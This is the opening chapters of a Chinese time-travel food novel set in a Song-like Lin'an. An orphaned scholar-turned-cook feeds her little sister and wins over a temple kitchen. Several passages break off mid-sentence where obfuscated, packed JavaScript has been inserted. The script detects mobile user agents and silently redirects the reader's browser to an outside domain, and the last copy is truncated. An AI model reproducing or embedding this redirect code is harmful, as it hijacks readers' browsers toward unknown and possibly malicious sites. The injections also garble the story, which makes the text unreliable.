《临安杏花饭馆》 1. 八宝粥 “江娘子，你的死活，与我陆家再无关系！快快走远些！”陆府后门，台阶上的婆子这般说着，扔出个小包袱，还掸了掸衣裳，像在掸走晦气。 江清澜去捡地上的包袱，幼妹胆子倒大，上去拉扯那婆子：“你骗人！我们要见陆阿兄！”对门里喊，“陆阿兄，快出来！” 婆子一推，小女孩后退几步，差点儿摔倒，幸好被江清澜接住了。 “什么阿兄，也是你们配提的？”婆子鄙夷道，“江家触犯天颜，抄家流放。我们陆家好心，给的是和离书，而不是休书，少在这里恩将仇报，胡乱攀扯！” 婆子说完，哐一声把门关了。 小女孩不服气，挣扎着还要去拍门，让江清澜紧紧搂住了。“算了，没用的……”停了下，又说，“别怕，还有阿姐呢。” 一句话，让小女孩泪流满面。“阿姐——” 江清澜在心里默默叹气：开局不利啊。 她昨天凌晨，还在熬夜肝博士论文开题报告呢，头疼得要死，但为了deadline，还是拼了，没想到，猝死后穿在了这个不幸的女子身上。 她还有一些原身的记忆。 原身上花轿的时候，父亲江渊接了圣旨入宫。在陆家拜堂的时候，她突然听闻家里被抄的消息。父亲不堪受辱，触柱身亡，母亲也投了井。原身惊厥昏迷，估计夜里就过身了。 世态炎凉。 陆家二郎原是她父亲的属下，人长得不错，也上进，当初求娶也是费了好些心思，父亲才答应的。如今出了事，陆家老夫人急于撇清干系，等她一醒，就要和离。 和离也行，左右江清澜是穿越来的，与这个陆阿兄没感情。她家里又败了，赖在别人这里也是看眼色，便同意了。只是，她提出返还嫁妆。 陆老夫人脸皮倒厚，竟说她的嫁妆本就不厚，如今陆家在婚礼上花销颇多；又为了捞她幼妹出来，上下打点，花了不少银子；还说昨夜请名医给她看病，人参就用了两根…… 总之，是不肯返还了。 当然都是谎话。幼妹不到五岁，抄家也不会没为奴婢，至于什么人参，骗鬼呢…… 但江清澜如今人单力薄，就算报到衙门去，江家如今这情况……算了，日后再做打算吧。 一边牵着抽噎的幼妹往巷子外面走，她一边盘算着：当下最重要的是，如何赚到钱？ 小说女主都是穿越到公主、皇后身上，穿金戴银，怎么到了她，就这么倒霉？ 普通人过日子，油盐酱醋茶，吃的、喝的、穿的、用的，每天一睁开眼就是花销。现下，她的包袱里只有几钱碎银子，供她们两个，莫说租房子，便是喝粥，也撑不了多久。 江清澜抬起头，看了看眼前的通衢大街，寻找着机会： 天色还未全亮，路上已有很多人了。有些汉子挑着扁担，从候潮门外进来，筐子里装着水灵灵的大白萝卜、碧油油的青菜，上面都还挂着颗颗晶莹的露水呢——这是郊外的菜农进城来卖菜。 路边的小商贩已经支起了摊子，正在往上面摆物什：有卖花的、卖珠子的、卖绒线的、卖小玩意儿的，琳琅满目。 她昨天晚上基本上搞清楚了，这个朝代类似历史上的宋朝，此地也唤作临安，但似乎并没有经历过靖康之耻。如今是承平十五年，皇帝才传到第二代。 想着想着，走到了一个早点摊前，大铁锅里熬着香浓的粥，竹制蒸笼上腾腾冒着热气，想是在蒸包子、馒头。大米、小麦的香味，弥漫开来，刺激得人满口生津。 那些进城卖菜的汉子，走累了，坐在摊子边，一边歇脚，一边等着包子出笼。 江清澜眼睛亮了。 上辈子，她的科研压力极大，不写论文的时候，就爱捣鼓吃的，尤其爱重现古代的食物，什么蜜饯雕花、槐叶冷淘、荔枝膏水都做过，身边的人都说好吃。 有时候，做完了随手拍个照发在小红书上，几年下来，还成了美食博主。 宋代的商品经济极为发达，市民对商人也不像其他朝代那般鄙视。假如，她也支个摊子卖饮食，不说大富大贵，温饱能解决吧？江清澜跃跃欲试——她对自己的手艺有信心。 “阿姐……”幼妹拉着她，脸上泪痕还未干，眼睛巴巴望着摊子冒着热气的粥。 江清澜捏捏她的脸蛋，微笑：到底是小孩子呢，天塌下来也饿不得肚子。 她花了十二文钱：两文买了八宝粥，二人共吃一碗。十文买了两个包子。只包子还蒸着，先上的是粥—— 这并不是只有大米的白粥，还加了黄、灰、红、绿的各种干果。 因熬得极为浓稠，大米已碎得不成样儿了，瞧得出来的：灰色圆圆的，是去了核儿的桂圆；红色椭圆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626213|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是脱了骨的红枣；点点碎红，是枸杞；那绿色的，自然就是葡萄干儿了。 除却这些干果，粥里还有雪梨、苹果等水果，只切得小，又熬得碎了，只余下了香气与甜味儿。 小姑娘轻轻抿了一口，哎呀，软软糯糯、又香又甜，且那甜并不是蔗糖的纯甜，而是水果的清甜。 ——她赶忙又舀了一大勺，桂圆肉一抿就化了，葡萄干儿却还有点儿嚼劲儿，芝麻碎好香好香啊。 小姑娘吃着吃着，怕是想起了她的爹爹阿娘，抽抽鼻子，大颗大颗的泪珠子掉进碗里。 江清澜心里默哀：也是，一夜之间从官家小姐到饿肚子，成年了的原身都受不了，何况这个四岁的小孩呢？ 她用手背揩去小姑娘的泪珠：“团团别怕，还有阿姐呢，我们要往前看。努力吃饭，快快长个儿，阿爹阿娘在天上看了也高兴的。” 小姑娘听懂了，用力吸吸鼻子，大口大口吃起来。 但江清澜也愁得很，她方才观察了，摆摊儿也不简单。好比这个早点铺：第一，摊位是固定的，恐怕得花银子去府署里租。 第二，原材料得准备，比如锅、蒸笼、碗、筷子；还得买食材：面粉、大米、猪肉……万一生意不好，还得算上损耗…… 她包袱里那几个铜板，可不敢这么折腾，摆摊儿暂时不行了。那么，有没有什么活儿，是稳赚不赔的？ 天光略微亮了些，街市上人多了起来，除了商贩，还有一些空着手的行人，男女老少都有，都匆匆往御街南边去了。他们的衣着并不光鲜，不像是出来闲逛买东西的。 “娘子，”江清澜询问老板娘，“这些人是去哪儿？” 老板娘正捡了包子出笼，松软雪白的两个包子挤在青花碟子里，可爱得很。“他们是去侯潮门外的侩市，去得早，活路才好，才赚得到钱。” 江清澜的博士论文是唐宋文学方向，唐宋市民生活的书也看过几本。她知道，侩市，说白了就是人力市场，找日结零工活儿的。 宋代的侩市很多，一大早，雇工们就聚集在某个约定俗成的地方，等着雇主来挑人。木竹匠人、砖瓦泥工、挑夫劳力、厨娘绣娘，各色工种都有。 如今看来，就在候潮门外了。 江清澜有了计较，连忙让妹妹两口吞了粥。 “娘子，包子打包带走！” 2. 大葱肉包 侯潮门临近皇宫及临安署衙，恐扰了贵人们的好梦，城内商贩、行人虽多，高声吆喝的绝少。 候潮门外就不同了，人烟更盛，加之钱塘江潮水涌动、橹工划船嘿哟嘿地吆喝，到处都是闹哄哄的。 远处，有些大船尚在江中航行，更多的货船已经靠岸。役夫顺着船板来来往往，在往岸上运送粮食、货物。 近处便是侩市，一些人站在侩人的身后，神态悠闲，像是找到了活儿的。也有补觉的，一个个挨着墙根靠着，打起了瞌睡。还有些人三五成堆，竟在玩着“关朴”[1]的赌博游戏。 哎呀，看起来跟现代的零工市场很像嘛，打瞌睡的，打牌的，啥都有。 牵着团团转了几圈，江清澜弄清楚了。虽说宋朝经济发达，可相比男性，这个侩市里，女性能干的零工还是有限。 最好是做女侩，也就是劳力中介。雇主把招人这件事交给熟识的女侩，她们赶早便来这里招人——譬如奶娘、女伎，这些人男子是不好去招的。 至于雇主给多少钱，女侩又给雇工多少钱，她中间能赚多少差价，都是自己打算。 这是最赚钱的，但需要人脉，还需要时间，江清澜没法做。 其次，是做针线娘子。高门显户家要办喜事的，赶时间缝制喜被、喜帕。家养绣娘赶不及，就来这里招一批针线娘子去做，管吃管喝不说，一日还给一百文工钱。 但这也有要求，针线功夫自不必说了，还得细皮嫩肉，不能干过粗活儿的，因手粗，容易把金贵的绸缎给摸糙了。 江清澜看看自己的手，细皮嫩肉倒是够格，就是光敲键盘写论文去了，从没拿过针线。 这时候，有个二十七八的妇人举个木牌子，上面写着“七十文一日”，边走边吆喝：“建隆寺庙会，设宴三日，招厨娘五名，管吃不管住，只做中午一顿。” 几个女娘一窝蜂凑往上凑，江清澜和团团也赶紧跑去，听她们七嘴八舌推销自己： “娘子，上元节建隆寺设宴，我也干过。” “之前，我在宋五嫂鱼羹铺里打过零工。” “我也在李婆婆杂菜羹店里做过事儿。” 江清澜：“我……” 招人得要熟手，写简历要写工作经验，这个道理谁都懂。 但江清澜现在，好像真没什么拿得出手的。文学博士？没什么用，美食博主？人家也听不懂。 女侩记下了方才那几人的名字，这就要走。江清澜终于憋出一句：“娘子，我……我做饭特别好吃！” 跟在女侩身后的那几个娘子，听了这话，都吃吃笑起来。 江清澜脸有点儿红。是了，现在自己的表现，像极了清纯且愚蠢的职场菜鸟。 女侩倒老练，上下打量江清澜，又看了她牵着的小女孩，道：“娘子的手又白又嫩，不像干过厨房里的活儿的。” 她们女侩看人准得很，这人肤白貌美、唇红体健的，非富贵人家养不出来。怕不是哪个府上的小娘子，携了幼妹溜出来玩儿的。 真要是请了她去，家人找了来，自己的麻烦就大了。 “娘子留步，”江清澜有点儿急了，“实话告诉娘子，家道中落，父母俱亡，只剩了我与幼妹两个，实在没有活路，才上此处来找工。求娘子可怜可怜。” 团团小姑娘倒机灵，抽抽鼻子，扁扁嘴，顿时就泪眼花花的，瞪着一双大眼睛，可怜巴巴地望着那女侩。 江清澜见她还在犹豫，又道：“我绝非吹嘘，娘子可让我试试，第一日不给钱。若满意，第二日把钱补上也行。” 女侩终于点头，让她牵着团团，也站到身后去。江清澜这才松口气——至少这三天有着落了。 建隆寺在西边凤凰山下，离这里还有些距离。女侩王蕙娘招满了人，带着她们就往那边走。 时辰尚早，几个女娘都备了路餐的，从包袱里翻出来吃。 有的是干粮，黄米面枣儿糕、果馅儿寿糕之类的，有两个带的是卷饼，里面包着些肉丝儿、细菜。 女侩姓王，唤作蕙娘。她和江清澜带的一样，是肉包子。不同的是，她一人吃三个，江清澜她们一人吃一个。 团团是个小馋猫，吃什么都香，口口塞得两颊鼓鼓。 包子里的肉馅儿是提前用秘制酱料炒过的，加了点儿豆酱，香喷喷、油滋滋的，咸香可口，却并无腻口的肥肉。 一口下去，先是松松软软的皮，再是满满当当的肉，到后来，牙齿碰到那切成了细丝的大葱，葱香四溢，增添了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626214|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份属于蔬菜的清爽，丝丝回甜，回味无穷。有些脆脆的口感，可能是放了荸荠的缘故。 还有那色泽金黄、浮着点点油圈儿的汤汁，饱吸了肉香与葱香，现在还热乎乎的，香得团团直吸气。 江清澜也尝了几口，面皮松软雪白，着实好吃。看着身边的小姑娘，怕后者吃不够，她自己便吃得很慢，只揪着面团儿吃。 正举着包子，想给团团，身边旋风似的，一群人骑着马飞驰而过。江清澜右臂让人一拉，几乎栽倒，手上的包子也骨碌碌滚到了地下。 江清澜抬头看：约七八个少年，高歌嬉笑，纵马奔腾。他们皆着黑衣窄袖劲装，戴黑网璞头，上面插着红色蔷薇花。 为首那人却有些不同，不戴璞头、不簪花，头戴金冠，额系红色抹额，任黑发与红巾在风中猎猎翻飞。 江清澜捡起包子，拍拍灰，面上虽然还算平静，心里却愠怒得很。 现代有风驰电掣的摩托车手，此时有目中无人的纵马郎君，鬼火少年哪里都有！ 方才是王蕙娘拉了她一把，这时又提醒：“我看娘子市井经验不多，特以相告，若在内城见着这些蹴鞠郎君，可千万离远些。” 其实，她们已经走到嘉会门外了，路面宽得很，正常路过，断不会撞到人。是这些鬼火少年故意往人堆里凑，装×呢！ 等等。“蹴鞠？” 王蕙娘点头：“正是，嘉会门外有蹴鞠场，这些王侯贵公之子经常骑马去蹴鞠。” 宋朝蹴鞠之风兴盛，上至天子，下到百姓，都热爱蹴鞠。因球为充气空心，故谓之“踢气球”。《水浒传》里，高俅就是靠蹴鞠的高超技艺得到端王赏识的。 但是，就算踢成了巨星，江清澜心里还是瞧不起这些人。 她上辈子是卷王，上中学就跳级，二十二岁就读到了博士。熬了无数个大夜，才发了几篇C刊。结果那一年的国家奖学金还是给了其他人，因为他是另一个学院院长的儿子。 会踢球又怎么样，还不是官二代+鬼火少年，仗着父母权势，目中无人，讨厌得很。 但其他几个娘子好像不这么看，尤其两个没结婚的，窃窃私语着。那个姓钱的娘子红着脸，声音都颤抖了：“最前头的……谢世子，真好看呐！” 3. 斋菜大乱烩 谢临川把红色抹额取下来，往旁边一投，捧着凉水哗啦啦往脸上泼。 小厮平林在外间捧着衣服，小心翼翼地说：“世子爷，还是传些热水来吧，踢了球又洗冷水澡，若老祖宗知道了……” “闭嘴！” 谢临川正烦着，方才踢球踢得不痛快，一个二个跑得又慢，传球又差，明显是让着他。进了五个球又怎么样，没意思。 他深吸口气，一个猛子扎进水池里。 平林半天听不见呼吸声，又不敢多嘴问，心惊肉跳着。许久许久，才听到水声哗啦，平林松口气。 “什么时辰了？” “回世子爷，快午时了。” 谢临川用擦身巾胡乱擦擦，穿好衣服，戴了璞头。“走，去建隆寺。” …… 宋代尚佛，临安城里及近郊，光寺庙就有五十多处，庵堂、道观也有二十多处。其中，尤以嘉会门外的建隆寺香火最盛。 逢佛诞日及上元、端午、中秋等佳节，建隆寺均要免费设宴三日，以飨各位香客。富贵人家为了显示一心向佛，贫苦百姓、乞丐等为着糊口，都会去分一杯羹。 东平王府的谢老夫人笃信佛理，在家里供奉了佛龛香案不说，每年的佛诞日，都要亲往建隆寺祈福。 今日一大早，她就携了几个丫鬟，在建隆寺住下了。 谢临川下了马，往后边的明音禅院里奔：“祖母！” 谢老夫人正在敲木鱼，见他笑嘻嘻的过来，佯嗔道：“你说要送祖母，送到蹴鞠场去啦？” 谢临川也不否认：“我想着祖母呢，不过就踢了一会儿，汗都没出，这就赶着过来了。” 谢老夫人知他撒谎，也不拆穿。 今天早上她要来寺庙，儿子说送她来，小孙子抢着也要送，她就知道，其中有猫腻。刚出了东平王府大门，人就没影儿了，踢到现在才回来。 这个小孙子自小模样就长得好，性子也活泼，喜欢蹴鞠、争标[1]之类的，年年宫里蹴鞠、钱塘江弄潮都出尽了风头。 偏他父亲拘着，让他考科举，走文官的路子。 谢家两个女婿都是两榜进士，就这个三郎考了三年，连个秀才也没捞着，他父亲嫌丢人，也不让再去考了。 想到这里，谢老夫人问：“前日我听你爹说，让你去临安府尹的赋税司当差，这还没去点卯呢？” “哎哟，祖母——”谢临川从椅子上跳下来，破颜一笑，露出雪白的牙齿，嘴角两个深深的酒窝。 “在家里就听父亲唠叨这些，到这儿了，您老就让孙儿耳朵清静清静吧。”说着，往谢老夫人嘴里塞了个菜卷儿。 “这建隆寺的斋饭最是难吃，孙儿知道不合您老胃口，还带了丰乐楼的春盘小菜卷儿呢，您尝尝？” 谢老夫人信佛。但也好吃，尤其喜欢吃荤。她每每吃了大鱼大肉，就通体舒泰，但又担心菩萨怪罪。 是以，她矛盾得很，吃肉越多，奉佛越勤，香火钱也越捐越多。 这儿的斋饭是有些难吃，不过只有三天，忍忍就过去了。哪知道，这孩子当着菩萨的面，就这样明目张胆地说了出来。 嚼了几下，还好还好，是素菜卷儿。她匆忙两口咽了。 蔬菜清爽，面皮薄软，果然比斋饭好吃多了。 但她绷着脸，打谢临川的手：“胡闹！什么好吃不好吃的，吃斋饭讲究的是心诚！” 谢临川嘿嘿不说话。 过了一会儿，谢老夫人咂咂嘴，背对着佛像，低声问：“还有没？” …… 建隆寺东北，香积厨外的院子里，搭了一溜儿的棚子，这是为着今天的斋饭特意搭的。 三个现砌的大土灶下，架着木柴，燃着熊熊火焰，上面放着巨大的铁锅。两个锅里还坐着水，升起腾腾的白烟，一个锅里却不放水，倒了小半锅的菜籽油。 王蕙娘招的五个厨娘，两个自称以前没上过灶，只好负责切菜。包括江清澜在内的余下三个，一人负责一口锅，做的都是一样的——白菜萝卜粉丝豆腐蘑菇大乱烩。 王蕙娘一看，江清澜负责的锅里油汪汪的。她有些发愁。 早上在侯潮门外的侩市里，自己一时心软，招了这娘子来。现在看，她着实不会做菜，别的厨娘都是先放水的，哪像她这样，先把油倒进去那么多。 她也有主意，先看看这娘子的手艺，实在没办法，她自己也可以顶上。 江清澜上辈子去爬山的时候，吃过庙里的斋饭。当时她就发现了，世人有个误解，以为斋饭清淡少油。 其实不然。斋厨的大师傅告诉她，斋饭无荤，必须要宽油热油，甚至盐也要略多放一点儿，不然吃得嘴里没滋没味儿，肚子饱了，嘴巴却像没吃一样。 她等锅里油热了，先放一勺盐，在油里搅散了，才把又大又厚的豆腐块儿轻轻滑入锅中。 豆腐块儿们入锅，油泡儿起来了，刺啦刺啦地响，香气也开始四处弥漫。两面炸至金黄，变定型了，用大铁铲铲出来，装在竹制的大簸箕里，沥干备用。 剩下的油还很多，江清澜铲起一半，又放葱姜蒜段进去炒香，少放些豆酱，将白萝卜块儿、大白菜梗儿、蘑菇片儿一股脑儿倒进去炒。 最后一步，才是倒水。等水开了，熬煮了许久，才最后放泡发好的粉丝。 这还没完呢。 方才炸豆腐的油还剩了些，送到小灶上加了热，大烩菜锅里撒了小葱段后，江清澜手腕稳稳的，用大铁勺一勺勺往烩菜上泼热油。 刺啦——刺啦——刺啦——热油入锅，响声不断。 哎呀，烩菜里原来有萝卜、白菜，清香四溢；有平菇，鲜香扑鼻；还有炸得金黄的油豆腐，豆香满满。 这下子，葱段特有的香味，被热油猛激，散得院子里到处都是，更在这丰富的香味里再添了一重。 江清澜舀起一碗，递了过去：“娘子尝尝？” 最开始的时候，王蕙娘还有点儿担心，后来闻到香味，满口生津，哪里还想着什么其他，只想赶紧捞一碗起来吃罢了。 第一口吃的是豆腐。油炸后的豆腐软软的，最外面是一层焦皮，咬破后，内里网状的豆腐絮包裹了满满的汤汁，又鲜又咸，又香又浓。小小一块豆腐，竟然吃出了红烧肉的味道！ 又吃白菜、萝卜。真是奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626215|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，明明还是那两种菜，却一点儿不寡淡。粉丝软烂，还吸饱了味道，入口即化，满口留香。 江清澜又从甑子上打了小半碗米饭：“娘子，再用烩菜的汤，泡这米饭试试？” 烩菜的汤汁呈褐黄色，因粉丝的胶质被熬了进去，略有些黏糊糊的，米饭一放，就被汤汁裹满了。 王蕙娘先尝了小口，眼睛亮了，三两下把碗里的米饭全刨了，低声道：“天爷，怕是官家、娘娘，也没吃过这般好吃的斋饭。” 江清澜忙道：“那我的工钱？” 王蕙娘又去舀饭和烩菜：“结！今天就结！” 见其他几个厨娘都站着，面面相觑，她又道：“放心，今天的工钱都一样结。现在大伙儿都先吃饭，万一这几锅烩菜不够，待会儿还得做。” 那几个厨娘见王蕙娘吃得香，纷纷去舀江清澜做的，只有钱娘子舀了自己锅里的。 有人好心说：“你试试江娘子的，着实好吃。” 钱娘子以前在有名的宋五嫂鱼羹铺做过事，有些拔尖儿心气。 这下被江清澜比了去，她心里不高兴，但脸上还是笑着：“我就爱吃自己做的。” —— 午时四刻了，开始放斋饭，香客们在院子里排起长队，大和尚们有的打饭，有的打菜，有的维持秩序，有条不紊。 谢老夫人是贵客，为了表示向佛的诚意，才与平民、乞丐共吃一锅斋菜。 不过，她也不用自己排队，小沙弥端了两份餐食，恭恭敬敬地送去明音禅院。 小沙弥经常给贵客们送饭，十分机灵。 免费的斋饭难入贵人的口，大家都知道，但为了诚心，他们又不能不吃或剩下。所以每次给贵客的，他都只打了小半碗。 谢老夫人偷吃春盘小菜卷儿，都有些吃饱了，但接了斋饭，也得硬吃。 谢临川还在禅房院子里，把个小石头当球踢，一会儿倒挂金钩，一会儿临空抽.射，闪转腾挪、飒爽英姿。那石头竟像粘在他身上一样，叫怎样就怎样。 谢老夫人叫他：“三郎，你也不嫌脚疼，快进来吃斋饭。” 谢临川知道，多少得应付几口，刚坐下端起碗，就听祖母惊叫：“欸，今天这斋饭有点儿不一样啊！” 谢临川尝了两口，是有点儿不同。 他也算嘴巴刁的，丰乐楼的东西有些都瞧不上眼，往年吃斋饭，都不尝味儿，直接往肚子里倒。今年这个，怎么吃出了炖鱼肉、炙羊肉的鲜香？ 谢老夫人吃完了，有点儿不好意思，对侯在门外的小沙弥说：“小师傅，斋饭还有吗，老身还想吃点儿。” 这确实不好意思，因为普通人吃斋饭只能一人吃一份儿的。 然而，谢老夫人可不是普通人，而是建隆寺香火钱捐得最多的那种人。 小沙弥又去舀了两份儿，装足了量的，给谢临川的那份儿，还多添了些。 这正合谢临川的意。 碗又见了底，谢老夫人嘴巴虽还想吃，肚子却再也装不下了。她气不过，又打孙子的手：“都怪你！让我吃什么春盘菜卷儿，都没空地儿了！” 谢临川：…… 4. 冰糖水果串（一） 江清澜干活儿之前，就认真与团团交代了，寺里寺外人多，就在这香积厨院子里玩儿，不可乱走，小心让拍花子的拍走了。 可团团到底是小孩子，想去外面看热闹，一转眼就不见了。 对这个妹妹，江清澜是很看重的。一来是占了她姐姐的身子，多少得承担些责任，二来，小姑娘着实长得可爱，脸蛋儿雪团子般，脑子也机灵，让人不得不爱。 江清澜顾不上吃饭，取了布索攀膊，出去找人。 幸好团团没走远，就站在旁边北禅院的门口，直勾勾盯着大门外来来往往的人，像在找人似的。 “团团，回去吃饭了呀，”江清澜摸摸她毛茸茸的脑袋，“你在找谁呢？” 团团又巴巴看了两眼：“我想，兴许陆阿兄会来上香？若是看到了他，我就求他接我们回去。” 江清澜听了，心里涩然。关于这位前夫哥与原身的事，她脑子里没有记忆。但看团团的反应，二人有情没情不知道，至少前夫哥是很花了些心思的。 江清澜蹲下来，与团团眼睛齐平，郑重地说： “阿姐知道，陆二郎以前对团团好。但现在不一样了，我们被陆家赶了出来，陆二郎不可能不知情的。所以，阿姐和团团现在都跟陆二郎没关系了，不必盼着他。” 团团开始冒泪花了，嘴巴也扁了起来：“可以前……陆阿兄说……说，会一辈子对阿姐……”小姑娘哽咽着，还是努力把话说完，“对阿姐和团团好的。” 江清澜心道：男人的嘴，骗人的鬼！ “那是因为他是咱们爹爹的下属，他这样说，爹爹才让他升官。现在爹爹不在了……” 听到“爹爹”两个字，小姑娘的眼泪越冒越多。 江清澜心里难受，但她相信，团团如此聪明，非得要把道理讲清楚，她才过得了这一关。 “爹爹娘娘不在了，还有阿姐呢。团团和阿姐不靠别人，都要自己努力，以后给爹爹娘娘伸冤，好不好？” 团团奋力地点了下头。 “现在，阿姐带团团去吃烩菜，临安第一，不，大宋第一好吃的那种！” “真的？” “真的！” “我相信，阿姐做饭一直都很好吃！” 她们不知道，寺庙门口，真有几个人，在鬼鬼祟祟地监视着。 …… 建隆寺庙会设宴，只有中午吃烩菜，早餐、晚食都是粥，做法简单，庙里的和尚能自己解决。 吃毕了饭，王蕙娘观察过了，今日也不需要再煮烩菜了，便与几个厨娘结了工钱，约定好明日巳时初再来此地。 其他厨娘都回了家，江清澜无处可去，打听到寺里可以挂单，就在此留宿。最便宜的通铺，每晚只需要二十文，团团年纪小，不算钱。 姐妹俩跟着小沙弥，去了挂单用的禅房。 江清澜看了，觉得还行，窗纸糊得厚厚的，不会漏风。蓝花被子有些旧了，但还算干净。 通常来说，来挂单又睡通铺的女子，都是江清澜这般打零工的，要到天快黑了才来。现在，屋里只有她们两个。 团团吃饱了，有些犯困，江清澜让她脱了鞋上床去睡。小姑娘昨晚上肯定吓坏了，现在当真是困了，头沾着枕头就睡着了。 没事了，江清澜开始盘算： 她今天赚了七十文，早上买包子和粥用了八文，住宿二十文，还能剩下四十二文。 这三天都可以在寺里吃，不花钱，除去住宿，一共可以赚一钱又四十二文。 但三天以后，再去侩市找这样的零工，就得算上吃饭的钱了，要吃饱的话，一天再怎样也得花二十八文，按照她现在的行情，一天就只能结余二十二文。 别的不说，除了吃饭，两姐妹每人至少得有两套衣服、两双鞋，好换洗。 ——幸好现在四月份，天气热了，不然，买冬衣、冬靴才费钱。 此外，还得买刷牙子、揩齿药[1]、绢帕、面盆等生活必需品。寺庙里没法子洗澡，去澡堂子也得花钱。 做大锅饭这活儿，很费体力，她就干了这么一顿，都有些手软脚麻了，少不得得买点膏药之类的。万一有个头疼脑热的，开方子、抓药、熬药，那更是流水的银子。 江清澜想着想着，头又开始疼了——真是哪哪儿都离不开钱！ “嘿嘿！”蓝花被子里的小团团忽然笑了两声，但眼睛还闭着。小家伙呼吸绵长又均匀，嘴角带着微笑，应是正在做着美梦。 她只露出雪球般的脸蛋儿，头顶上的两个小揪揪挨了枕头，有些乱糟糟的了。 江清澜看她可爱模样，心中烦闷散去，荡漾起无限柔情。 帮孩子掖了掖被角，她提振起心气，出门寻找商机去——她笃定，打零工只能糊口，要过上好日子，还得靠做生意。 —— 明音禅院里，檀香袅袅。 谢老夫人本坐在蒲团上念经，可没一会儿，就打起了呼噜。 老人和小孩儿瞌睡多，尤其吃饱了，更是想睡。 谢临川打起内室藕荷色的帐子，招手让丫鬟夏荫过来看着，自己蹑手蹑脚出了禅室。 他找到方才送饭的小沙弥，问：“香积厨在哪边？” 小沙弥指了东北方向。 谢临川想了想，取出银色面具戴上。 临安有戴面具的风尚。 有个蹴鞠好手名唤李正，因为祖上犯了事，李家三代都被在脸上刺字。他每每参加蹴鞠赛，就戴一个银色面具，久而久之，被称为“银面将军”。佩戴面具，也一时成为风尚。 谢临川想，今日寺里人多，万一碰上一窝女人就麻烦了，戴上面具保险些。之后，健步如飞，旋风一样地走了，只把小沙弥看得咋舌。 到了香积厨，只见院子里摆着三个大铁锅，锅里干干净净的。灶底火也熄了，灰都掏了。几个大和尚正在选米——把大米倒在平平的大簸箕里，选出其中的石子儿不要。 谢临川头戴纱罗璞头，身着平素纹白色窄袖襕衫，腰间悬玉佩。虽然面上戴着银色面具，看不见脸，但那通身的气派，一看就不是普通人。 一个和尚立马迎上来：“阿弥陀佛，施主有何事？” 谢临川以前没进过厨房，现在看什么都新奇，东看看西瞅瞅，看到一簸箕大米才道：“晚上只吃粥吗？没有烩菜了？” 和尚恭敬地说：“烩菜是请外面的厨娘做的，只在中午供应。施主住在哪个禅院？明日，贫僧定让师弟早些送去。” 谢临川摆摆手，大步流星出了建隆寺，翻身上马，又往丰乐楼方向去了。 —— 江清澜从后禅院侧门出来，绕一大圈儿，来到建隆寺正门外。 好家伙，早上来的时候也走的侧门，那会儿时辰早，人还不多。现如今，简直是游人如织！ 大人、小孩儿、女娘、郎君，一眼望去全是人。不拘哪个佛，院子里的、屋里的、露天场的，前面的蒲团上都跪满了一排排的人。 到处闹哄哄的，人们说话的嘈杂、小孩儿哇哇的哭声、大人的呵斥声，不绝于耳。袅袅烟香四处弥漫，只要从此处经过的人，衣上都要染满“佛气”。 江清澜的心思只在商机二字上。 抬眼见，寺院正门的西边，有一排排的小屋子，里面的小商贩多是卖纸烛、佛香、许愿带之类的。 还有一些人在卖乌梅饮子。有个小男孩硬扭着大人买，在地下撒泼打滚儿，让他阿娘拎起来，狠狠打着屁.股。 江清澜眼睛一亮，有了！自古小孩儿的钱最好赚。 匆匆回到屋里，也不管孩子还睡着了，两下把她摇醒：“团团，快醒醒，阿姐带你买好吃的去。” 团团睡得迷迷糊糊的，头发也没梳，江清澜一边走一边给她用红带子绑双髻。绑好了更是牵起孩子一路小跑。 没办法，时间就是金钱，早点儿弄好早点儿赚钱！ 好在，因为人多、有消费需求，建隆寺不远处就有市集，她们便不必进临安城去了。 虽然有心理准备，到了果市，江清澜还是吓了一跳。枇杷、桃子、李子、桑葚、樱桃，什么都有！就跟她上辈子逛水果店看到的一样。 还有一些荔枝，一小串一小串地装在小盒子里，很是金贵，应该是从南方炎热之地快马加鞭运过来的。 早上她就发现了，早点摊子上卖的粥里加了不少水果，那么一碗甜粥才卖两文钱。 这说明了什么？说明水果很便宜！ 卖水果的汉子正端了饭在吃，一吃不对劲儿，对身边的女娘说：“嘿，今年的斋饭咋怎么好吃？！” 他们做生意的，常常不能按时吃饭，这斋饭是他娘子去寺里求来的，给他留的一半。因用盘子盖好，又以棉被裹着的，这会子还有点热气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 